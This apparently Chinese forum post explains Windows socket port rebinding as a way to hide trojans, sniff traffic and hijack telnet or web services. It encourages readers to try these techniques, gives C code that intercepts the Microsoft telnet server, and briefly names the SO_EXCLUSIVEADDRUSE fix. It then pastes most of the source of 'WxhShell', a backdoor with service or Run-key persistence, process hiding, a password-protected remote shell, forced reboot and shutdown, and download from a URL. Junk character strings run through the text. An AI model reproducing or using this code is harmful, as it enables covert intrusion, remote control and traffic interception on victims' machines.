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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $hG;2v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kCima/+_  
8G0  
  saddr.sin_family = AF_INET; DE*MdfP0  
*0%4l_i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uy/y wm/?=  
.A3DFm3t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -"W)|oC_  
:8p&#M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BRQ"A,  
n?'d|h  
  这意味着什么?意味着可以进行如下的攻击: &EAk z  
<,jAk4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]>tq|R78  
,f} h}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H4M{_2DO  
`1nRcY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9<xTu>7J  
BG'6;64kx6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a @6^8B?w;  
G/v|!}?wG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ds- yif6   
eY J{LPo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _h0-  
<"* "1(wN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZhH+D`9  
mfXD1]<.  
  #include  X ?tj$  
  #include o_iEkn  
  #include +"'F Be  
  #include    ]]>nbgGn#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H76E+AY  
  int main() ecn}iN  
  { :/+>e IE  
  WORD wVersionRequested; B;VH`*+X  
  DWORD ret; >&bv\R/  
  WSADATA wsaData; )T>8XCL\}  
  BOOL val; 82lr4  
  SOCKADDR_IN saddr; $Axng J c  
  SOCKADDR_IN scaddr; <5dH *K  
  int err; x+4v s s  
  SOCKET s; \CcmePTN#x  
  SOCKET sc; (nGkZ}p  
  int caddsize; Z.!g9fi8>  
  HANDLE mt; egfi;8]E  
  DWORD tid;   br b[})}  
  wVersionRequested = MAKEWORD( 2, 2 ); ya:sW5fk  
  err = WSAStartup( wVersionRequested, &wsaData ); j5kA^MTG  
  if ( err != 0 ) { ^w>&?A'!  
  printf("error!WSAStartup failed!\n"); SU/G)&Mi  
  return -1; Q~phGD3!~  
  } ] bIt@GB  
  saddr.sin_family = AF_INET; brntE:  
   DL,[k (  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gWkjUz )  
|V lMma z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8=:A/47=J  
  saddr.sin_port = htons(23); AWO0NWTB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PC|'yAN:  
  { C5Xof|#p|  
  printf("error!socket failed!\n"); pjACFVMFX  
  return -1; XJUEwX  
  } b7bSTFZxC  
  val = TRUE; bZ/ hgqS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h0|[etaf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V{!lk]p}a  
  { <KtBv Ip]  
  printf("error!setsockopt failed!\n"); sc%dh?m7  
  return -1; Vn'?3Eb<  
  } {gsW(T>)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3!aEClRtq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?9p$XG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =c&62;O  
^uhxURF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S/VA~,KCe;  
  { )!A 2>  
  ret=GetLastError(); [UoqIU  
  printf("error!bind failed!\n"); Rs2-94$!5  
  return -1; M+0x;53nz  
  } /jR8|sb  
  listen(s,2); ^p,3)$  
  while(1) 2 l(Dee Y  
  { ?~,JY  
  caddsize = sizeof(scaddr); gwiR/(1  
  //接受连接请求 Tv\HAK<N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (k8Z=/N~  
  if(sc!=INVALID_SOCKET) /_q#a h  
  { M|k&TTV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .3@Ng  
  if(mt==NULL) to'j2jP  
  { (etUEb^}T  
  printf("Thread Creat Failed!\n"); yw'ezpO"  
  break; };rm3;~ eg  
  } )6=gooe]  
  } wlrIgn%  
  CloseHandle(mt); 7H%_sw5S.  
  } ]U[&uymax  
  closesocket(s); S 6GMUaR  
  WSACleanup(); #&V5H{  
  return 0; [t{](-  
  }   kbhX?; <`  
  DWORD WINAPI ClientThread(LPVOID lpParam) x6ahZ  
  { /ERNS/w  
  SOCKET ss = (SOCKET)lpParam; ?I[h~vr6.  
  SOCKET sc; ^!}F%  
  unsigned char buf[4096]; <1 S+ '  
  SOCKADDR_IN saddr; _s*! t  
  long num; ra]:$XJ5=a  
  DWORD val; &:No}6  
  DWORD ret; t!{x<9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l<xFnj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q2"WV  
  saddr.sin_family = AF_INET; gLD{1-v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >ZeEX, N  
  saddr.sin_port = htons(23); ,T$r9!WTM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c;wA  
  { )Oievu_"|  
  printf("error!socket failed!\n"); b+Vi3V  
  return -1; \i0-o8q@I  
  } A*F9\mj I5  
  val = 100; E~RV1)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sph*1c(R  
  { hM>*a!)U  
  ret = GetLastError(); =/Wu'gG)  
  return -1; VjB*{,  
  } kwlC[G$j7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .!yq@Q|=u  
  { BC({ EE~R)  
  ret = GetLastError(); DWrbp  
  return -1; g/#~N~&  
  } YBvd q1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~KRnr0  
  { q 5p e~  
  printf("error!socket connect failed!\n"); E0YU[([G  
  closesocket(sc);  eu9w|g  
  closesocket(ss); @6b[GekZ<  
  return -1; Q>=-ext}q  
  } cy3M^_5B<  
  while(1) iNJAZ6@+  
  {  hgO?+x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6m+W#]^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "0-y*1/m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lR@& Z6lw  
  num = recv(ss,buf,4096,0); B+46.bIH  
  if(num>0) ! =WcF5  
  send(sc,buf,num,0); h<Wg3o  
  else if(num==0) Q#pnj thM  
  break; h<% U["   
  num = recv(sc,buf,4096,0); F;kvH  
  if(num>0) Cs4hgb|  
  send(ss,buf,num,0); h0Jl_f#Y  
  else if(num==0) }9CrFTbx;  
  break; ([KN*OF  
  } XG&K32_fs  
  closesocket(ss); fY_%33_I$  
  closesocket(sc); TwFb%YM  
  return 0 ; hnzNP\$U]  
  } c~+l-GIWm  
DA=1KaJ.  
B< hEx@  
========================================================== jdM=SBy7q  
S}cF0B1E*  
下边附上一个代码,,WXhSHELL ?Y3@"rdR  
)0-o%- e  
========================================================== i&&qbZt  
cPuHLwwYf  
#include "stdafx.h" _whF^g8  
|<(t}}X  
#include <stdio.h> a$m_D!b~_  
#include <string.h> 9m8ee&,  
#include <windows.h> [Oy >R  
#include <winsock2.h> FT.@1/)  
#include <winsvc.h> Y<Q\d[3^F  
#include <urlmon.h> qq;b~ 3 kW  
k1fRj_@WPT  
#pragma comment (lib, "Ws2_32.lib") !ZrB^?sO  
#pragma comment (lib, "urlmon.lib") :Jl Di>B  
d#\W hRE  
#define MAX_USER   100 // 最大客户端连接数 "2;N2=~7  
#define BUF_SOCK   200 // sock buffer C9jbv/c  
#define KEY_BUFF   255 // 输入 buffer 0H[LS  
pjN:&#Y]  
#define REBOOT     0   // 重启 V]c5 Z$Bd  
#define SHUTDOWN   1   // 关机 }V]eg,.BJ  
L~eAQR  
#define DEF_PORT   5000 // 监听端口 b Us|t  
GwQn;gkF  
#define REG_LEN     16   // 注册表键长度 $]*d#`Sy{%  
#define SVC_LEN     80   // NT服务名长度 <xlm K(  
Mm#[&j[Y  
// 从dll定义API |ym%| B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tcA;#^jc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U3F3((EYJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^~l  $&~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f&yQhe6q  
*#2Rvt*Ox  
// wxhshell配置信息 O,mip  
struct WSCFG { hZN<Yd8:  
  int ws_port;         // 监听端口 ~G `J r  
  char ws_passstr[REG_LEN]; // 口令 &Rp"rMeW  
  int ws_autoins;       // 安装标记, 1=yes 0=no -t4 [oB  
  char ws_regname[REG_LEN]; // 注册表键名 e<5Y94YE  
  char ws_svcname[REG_LEN]; // 服务名 <TxC!{<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lLCdmxbT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y=Hz;Ni  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xR908+>5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :3? |VE F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~E*d G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]0/p 7N14  
]MAT2$"le  
}; A*'V+(  
L'9N9CR{i  
// default Wxhshell configuration Ro r2qDF  
struct WSCFG wscfg={DEF_PORT, HarFE4V  
    "xuhuanlingzhe", R0<< f]  
    1, h\y-L~2E  
    "Wxhshell", ut5yf$%  
    "Wxhshell", \L[i9m|e  
            "WxhShell Service", VPd,]]S5(  
    "Wrsky Windows CmdShell Service", 8R xc&`_X  
    "Please Input Your Password: ", #J$qa Ul  
  1, Nn#u%xvJt  
  "http://www.wrsky.com/wxhshell.exe", 9#rt:&xo0  
  "Wxhshell.exe" Z@J.1SaB  
    }; 5 =Z!hQ}  
Uix{"  
// 消息定义模块 tt4+m>/T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #D)x}#V\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }.{}A(^YR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iV hJH4  
char *msg_ws_ext="\n\rExit."; .Z%G@X*  
char *msg_ws_end="\n\rQuit."; o6|-=FcvC  
char *msg_ws_boot="\n\rReboot..."; 0H:dv:#WAI  
char *msg_ws_poff="\n\rShutdown..."; HXks_ix )  
char *msg_ws_down="\n\rSave to "; R]Qp Mj%o  
[ rdsv  
char *msg_ws_err="\n\rErr!"; G;]:$J  
char *msg_ws_ok="\n\rOK!"; VzwPBQ -  
hz)9"B\S  
char ExeFile[MAX_PATH]; , Oli  
int nUser = 0; n`L,]dco  
HANDLE handles[MAX_USER]; h0VzIuV  
int OsIsNt; nGrVw&  
;nB2o-%  
SERVICE_STATUS       serviceStatus; 3s(Ia^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v8@eW.I1  
 @Fx@5e  
// 函数声明 8D~x\!(p\  
int Install(void); rt b*n~  
int Uninstall(void); _;e\:7<m  
int DownloadFile(char *sURL, SOCKET wsh); D,rZ0?R  
int Boot(int flag); +LzovC@^  
void HideProc(void); `6Hf&u<  
int GetOsVer(void); XDLEVSly7  
int Wxhshell(SOCKET wsl); c> G@+  
void TalkWithClient(void *cs); -G b-^G  
int CmdShell(SOCKET sock); Eark)  
int StartFromService(void); gyus8#sT  
int StartWxhshell(LPSTR lpCmdLine); t(?<#KUB-  
7+ XM3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lko`F$5X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p|VcMxT9-  
)5yj/0oT  
// 数据结构和表定义 -M61 Mw1  
SERVICE_TABLE_ENTRY DispatchTable[] = Iql5T#K+  
{ 0kLEBoOh  
{wscfg.ws_svcname, NTServiceMain}, vA-PR&  
{NULL, NULL} SS8ocGX  
}; 3"rkko?A  
Z> 74.r  
// 自我安装 p`>d7S>"  
int Install(void) p&3> `C  
{ 3Gd0E;3sk~  
  char svExeFile[MAX_PATH]; I@./${o  
  HKEY key; >XE`h 9  
  strcpy(svExeFile,ExeFile); BGqa-d  
CC8k&u,  
// 如果是win9x系统,修改注册表设为自启动 aRwnRii  
if(!OsIsNt) { {Y_Nj`#BT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (9GbG"   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>3H7n.  
  RegCloseKey(key); Hj~O49%j&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9<cOYY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jXR16|  
  RegCloseKey(key); ^ d\SPZ  
  return 0; /V^sJ($V$~  
    } "ahvNx;x  
  } }kPVtSQ  
} ;CmOsA,1  
else { 4lz{G*u  
J{ ~Rxa  
// 如果是NT以上系统,安装为系统服务 \ 4gXY$`@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t[2i$%NVM  
if (schSCManager!=0) zj20;5o>U&  
{ dDlG!F_=  
  SC_HANDLE schService = CreateService 6P+DnS[]  
  ( ]!Zty[  
  schSCManager, f\}22}/  
  wscfg.ws_svcname, )%mAZk-*;^  
  wscfg.ws_svcdisp, 3{3/: 7  
  SERVICE_ALL_ACCESS, =_QkH!vI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i6>R qP!69  
  SERVICE_AUTO_START, 7/>a:02  
  SERVICE_ERROR_NORMAL, A&N*F"q  
  svExeFile, Sdc*rpH"(  
  NULL, Yx1 D)  
  NULL, `-O= >U5nH  
  NULL, 2R`u[  
  NULL, #&siHHs \  
  NULL zilaP)5x6  
  ); &O tAAE  
  if (schService!=0) og-]tEWA1  
  { \"d?=uFe  
  CloseServiceHandle(schService); ?}sOG?{  
  CloseServiceHandle(schSCManager); v*r9j8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g rbTcLSF  
  strcat(svExeFile,wscfg.ws_svcname); "$8w.C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }1m_o@{3P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "{( [!  
  RegCloseKey(key); ( V4G<-jG  
  return 0; O5-;I,)H  
    } (,LL[&;:  
  } 'F5)ACA%  
  CloseServiceHandle(schSCManager); :_H>SR:  
} Jsn <,4DO8  
} ]kS7n @8  
RWikJ   
return 1; ou6j*eSN  
} a8JN19}D  
5Y-2 #  
// 自我卸载 PU+1=%'V  
int Uninstall(void) %F5 =n"  
{ ,so4Lb(vG  
  HKEY key; !}q."%%J_%  
rzV"Dm$'  
if(!OsIsNt) { 7bT /KLU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J@` 8(\(  
  RegDeleteValue(key,wscfg.ws_regname); DHzkRCM  
  RegCloseKey(key); 7;xKy'B\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q\H7& w  
  RegDeleteValue(key,wscfg.ws_regname); 1+^n!$  
  RegCloseKey(key); J @B4 R&V  
  return 0; k4R4YI"jV  
  } -S$$/sR  
} :bv|Ah  
} q6&67u0  
else { Qa?aL  
uF<S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); };p~A-E=  
if (schSCManager!=0) Gl>E[iO  
{ K:w]> a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (1 yGg==W.  
  if (schService!=0) ,n5a])Dg  
  { h,]+>`b  
  if(DeleteService(schService)!=0) { wOcg4HlW  
  CloseServiceHandle(schService); )E`+BH  
  CloseServiceHandle(schSCManager); ':sTd^V  
  return 0; P)IjL&[  
  } ^&m?qKN8  
  CloseServiceHandle(schService); .e$%[ )D  
  } mJ$Htyr  
  CloseServiceHandle(schSCManager); CB]l[hM$  
} T*\$<-^  
} M=+M8M`Iy  
7j T}{ x  
return 1; hVZo"XUb  
} JUU&Z[6J  
;]@exp 5  
// 从指定url下载文件 V{$Sfmey  
int DownloadFile(char *sURL, SOCKET wsh) czS7-Hh@  
{ N 8}lt  
  HRESULT hr; d h?dO`  
char seps[]= "/"; 6n-r  
char *token; @g\;` #l  
char *file; kaO{#i2-  
char myURL[MAX_PATH]; yoW> BX  
char myFILE[MAX_PATH]; 5)*6V&  
-fPT}v  
strcpy(myURL,sURL); raHVkE{<  
  token=strtok(myURL,seps); 2Oi'E  
  while(token!=NULL) % $.vOFP9  
  { ' =}pxyg  
    file=token; $rTu6(i1  
  token=strtok(NULL,seps); 6$(0Ty  
  } h--45`cE  
ucM.Ro=@  
GetCurrentDirectory(MAX_PATH,myFILE); l/F!Bq[*g  
strcat(myFILE, "\\"); -lnevrl   
strcat(myFILE, file); +"Ub/[J{G1  
  send(wsh,myFILE,strlen(myFILE),0); +!xu{2!  
send(wsh,"...",3,0); V4\56 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sDAK\#z  
  if(hr==S_OK) k}<<bm*f  
return 0; 2_N/wR#=&  
else w&C1=v -h  
return 1; #%WCL'6B  
?\M)WDO  
} mR,O0O}&  
]|y}\7Aa  
// 系统电源模块 U/5$%0)  
int Boot(int flag) K=o:V&  
{ AZBC P  
  HANDLE hToken; OA5f}+  
  TOKEN_PRIVILEGES tkp; i*z0Jf["  
8~qlLa>jc  
  if(OsIsNt) { ^k;mn-0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1b+h>.gWar  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m2ox8(sd  
    tkp.PrivilegeCount = 1; UEN56@eCNf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RxMoD.kx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $^IjFdD  
if(flag==REBOOT) { KcnjF^k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 94YA2_f;  
  return 0; 369Zu4|u  
} L}b'+Wi@  
else { b?>VPuyBb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )r pD2H  
  return 0; 1~L\s}|2d  
} 5f{wJb2  
  } a_AJ)4  
  else { My],6va^  
if(flag==REBOOT) { EO"6Dq(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F Nlx1U[  
  return 0; yeNvQG  
} qZP:@r"  
else { _1\poAy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 01o [!nT  
  return 0; %VS 2M #f  
} c l9$g7  
} SlT7L||Ww  
;tXY =  
return 1; ;xI0\a7  
} $i -zMa  
df yrn%^Ia  
// win9x进程隐藏模块 #XfT1  
void HideProc(void) Yq{jEatY{/  
{ CMFC"eS e  
s4N,^_j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xlk5Gob*  
  if ( hKernel != NULL ) ;8uHRcdQ  
  { E;$$+rA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]y}Zi/zh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :k\} I k  
    FreeLibrary(hKernel); <oQ6ZX  
  } !x6IV25  
Wy!uRzbBv  
return; 03C .Xh=!  
} Gg}t-_M  
c{ 7<H  
// 获取操作系统版本 !;jgzi?z  
int GetOsVer(void) 5Vm Eyb  
{ Eh:yR J_8  
  OSVERSIONINFO winfo; :Nkz,R?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &D^e<j}RQ  
  GetVersionEx(&winfo); 8a?IC|~Pz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0+rW;-_(  
  return 1; j+ I*Xw  
  else =^#0.  
  return 0; g(1"GKg3K  
} <347 C{q  
aI 7Xq3  
// 客户端句柄模块 k 5t{  
int Wxhshell(SOCKET wsl) 'Z y{mq\  
{ ~RAzFLt6x  
  SOCKET wsh; $Q=$?>4U  
  struct sockaddr_in client; }&C dsCM>2  
  DWORD myID; u6f4yQ  
A_aO }oBX  
  while(nUser<MAX_USER) fG3wc l~  
{ PMQb\%iE"  
  int nSize=sizeof(client); y>4p~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7WXiG0  
  if(wsh==INVALID_SOCKET) return 1; (&k') ff9K  
.a5X*M]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )G mb? !/^  
if(handles[nUser]==0) 3mybG%39  
  closesocket(wsh); am3V9 "\  
else uht(3  
  nUser++; $vz_%Y  
  } QP'qG@j[:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9OH.&g  
>}mNi:6xq  
  return 0; dWMccn;-m  
} 3Nc'3NPQ'  
[1e.i  
// 关闭 socket $x/J+9Ww  
void CloseIt(SOCKET wsh) 3Sk5I%  
{ EkDws `@  
closesocket(wsh); 9GtLMpy  
nUser--; w' .'Yu6  
ExitThread(0); W31LNysH!;  
} BEFe~* ~  
 PE^eP}O1  
// 客户端请求句柄 9+W!k^VWq  
void TalkWithClient(void *cs) /@6E3lh S  
{ P>>f{3e.  
y|$vtD%c  
  SOCKET wsh=(SOCKET)cs; m9 ^m  
  char pwd[SVC_LEN]; SlR7h$r'  
  char cmd[KEY_BUFF]; CZF^Wxk  
char chr[1]; 7? +5%7-  
int i,j; ^tQPJ  
u<$S>  
  while (nUser < MAX_USER) { X >3iYDe  
?0? x+  
if(wscfg.ws_passstr) { 7ZL,p:f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Jk(&.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P)a("XnJ`  
  //ZeroMemory(pwd,KEY_BUFF);  <WO&$&  
      i=0; ?a*fy}A|  
  while(i<SVC_LEN) { zw}@nqp   
cb\jrbj6  
  // 设置超时 ^- u[q- !  
  fd_set FdRead; qn5y D!1  
  struct timeval TimeOut; @?'t@P:4  
  FD_ZERO(&FdRead); ~JAH-R  
  FD_SET(wsh,&FdRead); #8P#^v]H  
  TimeOut.tv_sec=8; 1'(_>S5CG  
  TimeOut.tv_usec=0; <)r,CiS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0*/mc96  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (xI)"{   
Tnzco  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4 GN8:~x  
  pwd=chr[0]; ,R7=]~<io"  
  if(chr[0]==0xd || chr[0]==0xa) { SH .9!lQv  
  pwd=0; Gw{Gt]liq  
  break; b #o}=m  
  } le "JW/BD  
  i++; 6 ,7/8  
    } ?j &V:kF  
%i;r]z-  
  // 如果是非法用户,关闭 socket {JCSR2BB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v!WU |=u  
} QC$=Fs5+  
QCZ,K" y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "`gfy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RTdD]pE8Q  
]#vvlM>/  
while(1) { :DS2zA  
R[mH35D/  
  ZeroMemory(cmd,KEY_BUFF); }CB=c]p  
$O;N/N:m  
      // 自动支持客户端 telnet标准   T%M1[<"Q  
  j=0; Co{MIuL  
  while(j<KEY_BUFF) { d A_S"Zc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S!`4Bl  
  cmd[j]=chr[0]; $Uv<LVd(  
  if(chr[0]==0xa || chr[0]==0xd) { f;@ b a[  
  cmd[j]=0; / K2.V@T  
  break; &0;{lS[N:L  
  } 3Hb .Z LE#  
  j++; UUdu;3E=5  
    } ~:P8g<w  
qv ;1$  
  // 下载文件 lOowMlf@2  
  if(strstr(cmd,"http://")) { 7?n* t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3iwoMrp  
  if(DownloadFile(cmd,wsh)) %x cM_|AyR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j. ks UJ  
  else ^C,/T2>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hJ$C%1;  
  } {WM&  
  else { e4>L@7  
!}Woo$#ND  
    switch(cmd[0]) { ]ut-wqb{p  
  LX(iuf+l  
  // 帮助 ul z\x2[Pf  
  case '?': { s= GOB"G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R%]9y]HQ  
    break; 3[|:sa8?s  
  } OI]K_ m3  
  // 安装 Eezlx9b  
  case 'i': { AK*mcTr  
    if(Install()) uV/HNzC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2EqsfU* I  
    else "t%1@b*u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j-C42Pfr  
    break; ^ T:qT*v  
    } ^NnU gj  
  // 卸载 C9z~)aL}7  
  case 'r': { ~H yyq-  
    if(Uninstall()) Ck/_UY|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<D k1  
    else M|Lw`?T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); upEPv .h  
    break; bH WvKv+  
    } #BT6bH08X  
  // 显示 wxhshell 所在路径 Fy(nu-W  
  case 'p': { die2<'\4%  
    char svExeFile[MAX_PATH];  K+`-[v5\  
    strcpy(svExeFile,"\n\r"); !rsqr32]  
      strcat(svExeFile,ExeFile); QE{;M  
        send(wsh,svExeFile,strlen(svExeFile),0); dPyBY ]`  
    break; 1$3XKw'  
    } faL^=CAe  
  // 重启 gQk#l\w _  
  case 'b': {  Z,8+@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vElL.<..  
    if(Boot(REBOOT)) zoJkDr=jn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 9 q{r s  
    else { 4-}A'fTU8  
    closesocket(wsh); @L>NN>?SGQ  
    ExitThread(0); >gOI]*!5  
    } !+|N<`  
    break; l~Wk07r3  
    } GHgEbiY:  
  // 关机 Y9co?!J 5M  
  case 'd': { q:~`7I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }96/: ;:k  
    if(Boot(SHUTDOWN)) 2t`9_zqLw  
